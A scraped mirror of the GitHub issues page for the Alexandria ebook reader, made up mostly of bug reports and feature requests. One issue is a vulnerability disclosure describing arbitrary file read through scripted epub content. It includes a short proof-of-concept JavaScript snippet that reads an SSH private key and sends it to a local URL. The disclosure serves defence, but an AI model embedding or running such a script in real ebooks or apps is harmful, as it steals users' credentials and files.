Code Monkey home page Code Monkey logo

alexandria's People

Contributors

btpf avatar cychen2021 avatar sgopalan98 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

alexandria's Issues

Flathub release

Great looking reader! Would love to install this as a Flatpak for automatic updates (and it helps for visibility).

Better support for non-English books

I suggest a few additions to aid with books in other languages:

  • A UI option to override the "lang" attribute for the current book.
    Many books don't set their language correctly, preventing the other features from working.
  • A UI option to override the "hyphens" CSS property for the current book to toggle automatic hyphenation.
    Languages with longer words make more aggressive hyphenation desirable, but ultimately it's a matter of taste that should be left to the user.
  • Use the correct dictionary for the set language, if available.

Feature Request: Ability to Change Color of Fly-out Features

Description:

When using custom themes, it is possible to make the background such that the active tab highlights (blue) and the contents drop-down arrows do not have enough contrast to easily see.

Request:

  • Make these agree with the "Secondary Text" and "Primary Text" color or enable changing them directly in the Theme Settings page.
  • Make the example in Theme Settings show these elements.

Screenshot from 2024-01-10 22-24-46

Rationale:

Secondary Text

"Secondary Background" is used for the fly-out background. This is clear to the user by looking at the miniature example given on this screen. However, the tab headings and drop-down arrows are not on this example. Therefore, the user has no idea what these will look like until they navigate to this in the application.

By setting the active tab to the same as "Secondary Text" the UI is color consistent.

Drop-down Arrows

The drop-down arrows have a different color in both provided themes. The user cannot directly control which is used in a custom theme.

The visual improvement of this in the provided themes is minor, and keeping this requires an additional setting in the Theme Settings to accommodate custom themes (either explicitly select this color or toggle between the preexisting two that are available).

Setting this color to the same as "Primary Text" solves all the usability issues at the expense of minor visual changes. The color difference between the arrows in both the provided Light and Dark themes are minor enough that maintaining the same color as the text won't impact usability.

"Invert Images" Selection Radio Button

Issue: For usability, the "Invert Images" radio button in the Theme -> Settings menu should be a checkbox.

Platform: Linux

Description

Radio buttons are optimal when selecting one option from a set. Check boxes are optimal when selecting multiple items from a set or turning an option on/off.
Screenshot from 2024-01-10 21-47-18

Book Sidebar Background Color Static

Issue: Book "sidebar" sections keep background color when switching between light/dark themes

Platform: Linux

Settings:

Default Dark theme and Default Light theme

Steps:

  1. Find a book with a sidebar section (this one has a grey background).
  2. Switch between themes that change the font color (i.e., Default Dark/Default Light)

Suggested Correction

When switching modes, change the background of this element. (Perhaps inverse(1) or allowing for custom color setting when designing themes).

Screenshot with a more "expected" representation.
Screenshot from 2024-01-14 15-49-22

Covers Not Loading

Issue: Covers are not loading in the main (home) screen.

Platform: Linux

Version: 0.11.2

Description

Verified EPUB contains a valid image file at ./OEBPS/cover.xhtml that refers to referencedFile at ./OEBPS/Images/referencedFile.jpg. Image opens in local viewer. Image does not show in Alexandria application.
Screenshot from 2024-01-11 15-23-58

Paragraph spacing option

Do you plan to add an option to adjust the spacing between paragraphs, separately from the line spacing option? I find having a bit of extra space between paragraphs really helps improve readability for me.

Less than 120% Line Height Causing Multiple Extra Rectangles When Highlighting

Issue: Using a line height under 120% causes extra highlighting rectangles to appear. Rectangles dynamically disappear when line height is greater than or equal to 120% (negative line heights also remove rectangles as this setting sets 120%).

Platform: Linux

Settings:

  • Font - Default
  • Font Size - 100%
  • Font Weight - 400
  • Word Spacing - 0px
  • Line Height - 100%
  • Reader Margins - 25%
  • Paragraph Spacing - default
  • Theme - Any

Steps:

  1. Display text that covers multiple lines.
  2. Highlight text with mouse and apply color using popup. I have not determined what is causing the extra rectangle, so highlighting large sections of text is the best option to see this effect.
  3. Some text will have multiple rectangles applied, this presents an inconsistent view to the user.

Showing one duplicate rectangle at 115%
Screenshot from 2024-01-10 21-10-19

Showing multiple duplicate rectangles at 110%
Screenshot from 2024-01-10 21-11-14

Showing no duplicate rectangles at 0%
Screenshot from 2024-01-10 21-11-00

Crashes on launch on windows 10.

Any logs or something I could provide?

I see the logo briefly in the taskbar before the app is gone again, no window to be seen.

Error: No Section Found (AppImage)

Hi,
No matter which epub I open, I get the following error:

Error
No Section Found
Call Stack
 _display
  localhost/bundle.js:38209:31
 dequeue
  localhost/bundle.js:42118:24
 undefined
  localhost/bundle.js:42170:17

I tried a bunch of books and it always fails with the same error. One of the easiest ebooks to test with is the "Quick Start Guide" from calibre:

Here's the log:

$ uname -a
Linux user 6.4.12-arch1-1 #1 SMP PREEMPT_DYNAMIC Thu, 24 Aug 2023 00:38:14 +0000 x86_64 GNU/Linux
$ ./alexandria_0.9.0_amd64.AppImage
Loading Config Directory
"/home/user/.local/share/com.btpf.alexandria/data"
PRINTING GET SETTINGS: Object {}
Themes Set: {"Default Dark": AppTheme { ui: uiTheme { primaryBackground: "#111111", secondaryBackground: "#252525", tertiaryBackground: "#252525", primaryText: "white", secondaryText: "grey" }, reader: ReaderTheme { body: ReaderThemeBody { background: "#181818", color: "#fff", link: "lightblue" }, image: ReaderImages { mixBlendMode: "", invert: false } } }, "Default Light": AppTheme { ui: uiTheme { primaryBackground: "#fef3e7", secondaryBackground: "#ffffff", tertiaryBackground: "#ffffff", primaryText: "rgba(0, 0, 0, 0.8)", secondaryText: "rgba(0, 0, 0, 0.6)" }, reader: ReaderTheme { body: ReaderThemeBody { background: "white", color: "black", link: "blue" }, image: ReaderImages { mixBlendMode: "", invert: false } } }}
{"sortBy": "", "sortDirection": "", "selectedTheme": "Default Light"}
659c974a
Book is Unique, Creating Directory
Printing location /home/user/Calibre Library/John Schember/Quick Start Guide (1)/Quick Start Guide - John Schember.epub
Milliseconds since the epoch (u128): 1693297594147
Milliseconds since the epoch (u64): 1693297594147
About to check malformed
RETURNING FIRST READ

"Add Installed Font" bugs

Using: Alexandria v11.0 x64 portable (Win10)

I realize the function is flagged as temporary workaround, just reporting for completeness' sake.

  1. It accepts names that don't exist, leading to dummy entries.
  2. No entry from this function, dummy or real, can be deleted from the UI. It just reappears whenever you open the menu and must be deleted from the JSON manually.

Custom bookshelves or tags for organization

Does it fit within the design goals of the app to add a bookshelf or tagging feature, to increase ease of use for larger book collections? At the moment, there isn't really a way to filter books by anything other than title; I would love to be able to categorize my collection instead of everything being jumbled together on the library screen.

Hyperlink Text Color is Not Honored

Issue: The rectangles used to display the highlighted text overlap, which causes inconsistent highlight color.

Platform: Linux

Settings:

  • Font - Default
  • Font Size - 100%
  • Font Weight - 400
  • Word Spacing - 0px
  • Line Height - 100%
  • Reader Margins - 25%
  • Paragraph Spacing - default
  • Theme - Any

Steps:

  1. Change theme colors
    Screenshot from 2024-01-10 21-22-12

  2. View a file with a valid hyperlink. Inspecting the hyperlink shows the hyperlink tag.
    Screenshot from 2024-01-10 21-21-58

  3. Note the color of the hyperlink is black. None of the theme colors are black. This is true for the table of contents as well:
    Screenshot from 2024-01-10 21-26-04

Embedded Span Tags Break Copy Highlighted Text

Issue: Embedded page breaks in the EPUB file are translated into SPAN tags in the HTML. These tags cause select and copy text features to break.

Platform: Linux

Settings:

  • Font - Default
  • Font Size - 100%
  • Font Weight - 400
  • Word Spacing - 0px
  • Line Height - 100%
  • Reader Margins - 25%
  • Paragraph Spacing - default
  • Theme - Any

Steps:

  1. Display text that covers an embedded SPAN tag. These are assigned as "pagebreaks," but are invisible in flowable text.
    Screenshot from 2024-01-10 21-38-33

  2. Highlight text with mouse and copy using the popup.

  3. User received "Text Copied" toast message.

  4. Pasting into another context (e.g., a different application) only pastes the text following the SPAN tag. This implies that the SPAN tag is segmenting the text copied to the clipboard into multiple streams, and the last one is retained.

一个关于关联epub文件的小问题!A small question about associating epub files!

你好,可以告诉我怎么把程序关联为epub的默认阅读器,还有就是程序是不支持电脑上已经安装好的字体吗?只能用软件下载的字体???

Hello, can you tell me how to associate the program as the default reader for epub, and does the program not support the fonts already installed on the computer?Fonts that can only be downloaded by software???

Text is grey instead of white on one epub but not another.

For some reason even though the theme is the same on both books on one of them the text is grey instead of white making it very difficult to read. Creating a custom theme allows me to change the color of the text of one book but not the other.

Feature Request: user set/change default book viewer setting for new book

Can user set/change the default book viewer setting for new book in the library?

For example I'd like to set following global default value for all new book when I open at the first time:

  • 150% font size
  • font name xxx
  • 150% line height
  • Double column display

Currently the application default are:

  • 100% font size
  • default font
  • 100% line height
  • Single column display

As you can imagine, It's painful to repeat book setting for each book in the library, so I really wish this feature can be added in future release.

Thanks for the great software!

Linux -- Incorrect Version Reported

Platform: Linux
Issue: Installing with Flatpak installs the 0.11.1 version and not the 0.11.2 version.
Steps:

flatpak install io.github.btpf.alexandria
flatpak info io.github.btpf.alexandria

...
ID: io.github.btpf.alexandria
Ref: app/io.github.btpf.alexandria/x86_64/stable
Arch: x86_64
Branch: stable
Version: 0.11.2
...

flatpak run io.github.btpf.alexandria

[in GUI: settings > about]

...
Version 0.11.1
...

Comments: The bug that 0.11.2 was intended to fix (#20) is still observed. flatpak info reports the correct version, but the UI does not. Since the bug is still observed, I assume that the version reported by flatpak info is incorrect.

RPM Availablity

Could RPM packages perhaps, be built. I'm on OpenSUSE and I need a potential cross platform ebook reader like this. If the android version be built that is.

Covers and books not loading after 0.11.0 update.

After updating to 0.11.0 the covers are not loaded in Library, and opening a book causes it to be empty, with the lower bar stuck in "loading...", the previous version worked perfectly.

This has been tested with Flatpak on Ubuntu 18.04.05 and SteamOS 3.4.11, both system have the same bug.

Request: copy text from footnote popup/sidebar

It would be useful if we could copy text directly from the sidebar/popup that appears when a footnote link is clicked. It'd save navigating to and from the footnote itself. I think it would come in handy when using a reference manager such as Zotero.

Sync with CRDTs

Hi,

Didn't find any contact info, so opening an issue.

Looking at your sync issue in the FAQ, it seems to me that Alexandria is one software that would benefit from the local first approach (https://localfirstweb.dev/).

If you haven't looked at it yet, I would have a look at CRDTs, like automerge or yjs.

Pretty sure you're aware of those, so I'm curious about your take on it.

Crashes on launch on windows 10

I am having the issue with latest (0.11.2version) in windows 10 pro 22h2. When i start the application it just crashes show the icon and then gone.

Used the latest setup and msi installer and portable version all crashes on start of application

Same issue duplicate - #3
sharing because it is happening with me now with new version

Arbitrary file read vulnerability

Hey,
I've discovered a vulnerability in Alexandria. I'm sticking to GitHub's default template for advisories (maybe consider adding a SECURITY.md):

Summary

An ebook containing malicious scripts has read-access to every file the current user has access to. The book needs to be opened by the user for this to work.
Testing was done on version 0.12.0 on Windows.

Details

The epub.js configuration optionallowScriptedContent = true makes it possible to execute arbitrary JavaScript code from within an epub file:

allowScriptedContent: true}

epub.js itself uses an iframe to display the epubs. While it does set the sandbox attribute, it also sets allow-same-origin.

This can't be changed by the consumer of the library. A combination of allow-scripts and allow-same-origin renders the sandboxing obsolete (see here).

The developers of epub.js warn about this.

In the case of Alexandria, every function annotated with #[tauri::command] is accessible to the script. An attacker might get creative with those, especially if more get added.

I've chosen a different route: Tauri is configured to enable the custom asset protocol:

"assetScope": ["**"]

Because a wildcard is used, every file accessible to the user can be served that way.
Using fetch or XMLHttpRequest, the file contents can then be exfiltrated (see PoC video).

PoC

An ebook can be crafted with Calibre to include this bare minimum script (with a different file path):

(async function() {
const response = await fetch("https://asset.localhost/C:/Users/Public/.ssh/id_ed25519");
const file = await response.blob();
const privateKey = await file.text();
fetch(`http://localhost:8000?key=%${privateKey}`, { mode: "no-cors" });
})()

Impact

Users have to download a malicious book and open it, so the impact is not that severe. However, the attacker doesn't have to prepare a book specifically for Alexandria, but can use some fingerprinting to determine in what environment it's running.

Distribution of malicious books could be done via pirate sites or even (online) conversion services, which could inject those malicious scripts.

Overall, I wouldn't be too worried. :^)

Some ideas

In an ideal world, scripted content would be turned off. There are, however, limitations with that approach.
The author of foliate sums it up nicely here.
Maybe the user could be given the option to toggle scripted content.

Furthermore, the asset protocol could be confined to known paths.

That's it! If something's unclear, please ask away.

Cheers
Frederic

PS: Audio warning for the PoC video!

alexandria-arbitrary-fiel-read-poc.mp4

Could we get a 32bits debian deb build?

I happen to have a ASUS eeepc 901 from 2008 still alive, and unfortunately, it's a Intel atom diamondville which is only 64 bits in desktop motherboards.

Highlight Rectangles Overlap Causing Inconsistent Highlight Visual

Issue: The rectangles used to display the highlighted text overlap, which causes inconsistent highlight color.

Platform: Linux

Settings:

  • Font - Default
  • Font Size - 100%
  • Font Weight - 400
  • Word Spacing - 0px
  • Line Height - 100%
  • Reader Margins - 25%
  • Paragraph Spacing - default
  • Theme - Any

Steps:

  1. Display text that covers multiple lines.
  2. Highlight text with mouse and apply color using popup.
  3. The spaces between some lines will display darker. This is due to the opacity (0.3) being applied to the SVG rectangles that are overlapping, which creates a situation where layered opacity causes an effective decrease in the opacity being applied. Changing the line spacing will eventually cause the overlap to go to zero and then negative (i.e., an empty space will exist between the lines). This effect is due to the static rectangle height (it is not keyed to line height). Setting a negative line height will remove the overlap in test cases.
    Line Height at 100%

Line Height at -5%

Feature Request: Add Settings Close Button

Description:

When opening the settings popup using the global menu bar, there is no local option to close this popup. A user intuitively searches for a method to close this popup locally; however, one must use the global menu bar to close it (i.e., using this button as a toggle is neither clear nor intuitive).

Request:

Add a close or drop-down icon to the upper right of this pop-up window. Maintain the toggle functionality for consistency between versions. Also request that clicking in the main text will close this and any similar popups.

Screenshot from 2024-01-10 22-31-05

AppImage issue with GLIBCXX_3.4.32

Tried running the AppImage on Pop_OS (Ubuntu 22.04) and got this error:

alexandria: /lib/x86_64-linux-gnu/libstdc++.so.6: version `GLIBCXX_3.4.32' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libwebkit2gtk-4.0.so.37)
alexandria: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.38' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libsystemd.so.0)
alexandria: /lib/x86_64-linux-gnu/libm.so.6: version `GLIBC_2.38' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libxml2.so.2)
alexandria: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.36' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libmount.so.1)
alexandria: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.38' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libmount.so.1)
alexandria: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.38' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libdw.so.1)
alexandria: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.36' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libXdmcp.so.6)
alexandria: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.38' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libblkid.so.1)
alexandria: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.38' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libelf.so.1)
alexandria: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.38' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libudev.so.1)

PDF

Please support PDF files.

Use tokio current_thread runtime?

src-tauri looks like it uses the default multi-threaded tokio runtime, this will spawn one OS thread per core. On my machine that means 16 threads. The current_thread scheduler, uses only one OS thread and tokio tasks are scheduled concurrently on it and is probably all this project needs?

This is a one line change, you can swap #[tokio::main] for #[tokio::main(flavor = "current_thread")]

Totally unrelated, I'm not familiar with tauri but a quick blurb somewhere on how to get it the project running from src might be nice.

The rust src throws off a bunch of clippy warnings. I'm happy to do a little cleanup if you want.

Hi Y Combinator

Hi Everyone.

I opened github and saw that the project I was hoping to debut incrementally had exploded.
Google searching showed that this attention comes from my app being reposted on YCombinator.
So...Welcome :)

This attention is a little overwhelming and there is much to do so please bear with me.

Current Issues (In Order of priority)

  • AppImage will display error the first time a book is opened
  • AppImage do not display book covers (Fix Pending Deployment)
  • Currently, Appimage will crash on launch with systems using an older version of glibc. This is caused because I am building on Arch. A CI/CD system will need to be set up for this.
  • Flatpak will be used for support of different distros.

Scrolling While Adding Notes

Platform: Linux
Issue: In the add note popup, when writing long notes, a scrollbar becomes active. When navigating in that text with the keyboard, the navigation in both the window and the book are active. This causes the user to move multiple pages and lose their place in the book where the note is being taken.

Feature request: Integrating an LLM into the app to help clear user doubts

There are LLM integrations happening everywhere in PDF readers. I personally used a few PDF LLM integration solutions and they work decent enough to solve some basic doubts.

This could be a great benefit to users of this application if we have an LLM integrated to help users clear questions.

One example plugin with a famous Open source reader for e-devices - AskGPT - Demo. I think this might be a good feature addition.

I would love to hear others thoughts on this!

Customize text alignment

Feature suggestion:
An option should be added to override the book default of the "text-align" property, minimally to choose between "left" and "justify", possibly adding "right" and "center".

I'm not sure where it would best fit. "Spacing" would be logical, but "Display" might look better.

Docker support

Would love to run this on my media server from a Docker container.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.